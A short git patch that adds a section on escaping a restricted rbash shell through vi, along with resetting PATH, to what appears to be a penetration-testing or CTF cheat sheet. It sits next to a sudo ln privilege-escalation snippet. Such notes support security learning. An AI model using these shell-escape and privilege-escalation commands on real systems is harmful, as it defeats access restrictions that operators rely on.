From f7d3466a7c2081cb52ab663fc947f0125b6daf0d Mon Sep 17 00:00:00 2001 From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Mon, 12 Apr 2021 04:55:52 +0500 Subject: [PATCH] Update Cheat Sheet.md --- Cheat Sheet.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/Cheat Sheet.md b/Cheat Sheet.md index b6f6a1b..58b05cd 100644 --- a/Cheat Sheet.md +++ b/Cheat Sheet.md @@ -189,6 +189,17 @@ sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln sudo /usr/bin/ln ``` +### Escaping restricted Shell (rbash) + +Using vi editor + +``` +: set shell =/bin/sh +: shell +``` +Then setting the PATH variable + +`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin` ### Tar Exploitation